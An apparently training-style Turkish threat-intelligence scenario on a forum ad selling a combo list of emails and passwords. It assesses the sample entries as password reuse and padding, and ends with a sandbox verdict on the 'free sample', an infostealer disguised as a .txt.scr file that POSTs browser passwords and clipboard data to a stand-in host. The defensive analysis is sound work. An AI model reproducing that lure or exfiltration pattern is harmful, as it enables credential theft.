Bir forum ilanı, '2,3 milyon satırlık, birçok kurumdan karışık' bir kombo (e-posta:şifre) listesi satıyor. Ücretsiz altı satırlık bir örnek ve 'zararlı yazılım kontrolünden geçmiş' diye tanımladığı bir örnek dosya paylaşmış.
IAM ekibinin sorusu iki katmanlı: listedeki hangi kayıtlar gerçekten kurum çalışanına ait, ve bunlar taze bir kurumsal sızıntıyı mı yoksa başka bir hizmetten sızmış parolanın yeniden kullanımını mı gösteriyor? Ayrıca 'ücretsiz örnek' dosyasını açmadan önce iki kez düşünmelisin.
2,3 milyon satırlık e-posta:şifre kombosu — birçok farklı kurumdan derlenmiş, güncel. Ücretsiz 6 satırlık örnek ve ayrıca 'kombo_ornek.txt' dosyası ekliyorum, zararlı yazılım kontrolünden geçmiştir.
Tam liste için toplu veya kurum bazlı pazarlık yapılır. Örneği inceleyin, memnun kalırsanız devamı gelir.
Satışa sunulan 'kombo listeler' neredeyse hiçbir zaman tek bir taze ihlalden gelmez; genellikle onlarca eski ve alakasız ihlalin birleştirilmesiyle oluşturulur.
Satıcılar, listeyi daha büyük ve etkileyici göstermek için sıklıkla rastgele üretilmiş veya tekrarlanan 'dolgu' (padding) kayıtları ekler; bu kayıtlar hiçbir gerçek hesaba karşılık gelmez.
İncelediğimiz örnekte, bazı e-posta + parola karakter desenleri, 2021 tarihli 'BulutNot' (tüketici notu alma uygulaması) ihlal indeksiyle eşleşiyor. Kurumların kendi sistemlerinde bu tarihte kayıtlı bir olay yok; bu, doğrudan bir kurumsal ihlalden çok, çalışanların kişisel hesaplarında parola yeniden kullanımına işaret ediyor.
| Değer | Tür | Not |
|---|---|---|
| [email protected] | E-posta | Gerçek kurumsal e-posta deseni; parola karakter deseni BulutNot indeksiyle eşleşiyor |
| [email protected] | E-posta | Gerçek kurumsal e-posta; bilinen bir ihlal indeksiyle eşleşme bulunamadı |
| [email protected] | E-posta | Hiçbir bilinen ihlal indeksinde yok; rastgele üretim deseni |
| [email protected] | E-posta | Kurumla ilgisi yok; rastgele üretim deseni |
Sonuç: Bilgi çalan (infostealer) — metin dosyası kılığında
Süreç ağacı
kombo_ornek.txt.scr → çift uzantılı, kendi kendine açılan arşiv
gizli_yukleyici.exe → bellekte çalışan ikinci aşama yükAğ etkinliğiDNS sorgusu: gunluk-yedek.example
POST https://gunluk-yedek.example/topla — tarayıcıda kayıtlı şifreler ve pano içeriği gönderiliyorDosya notları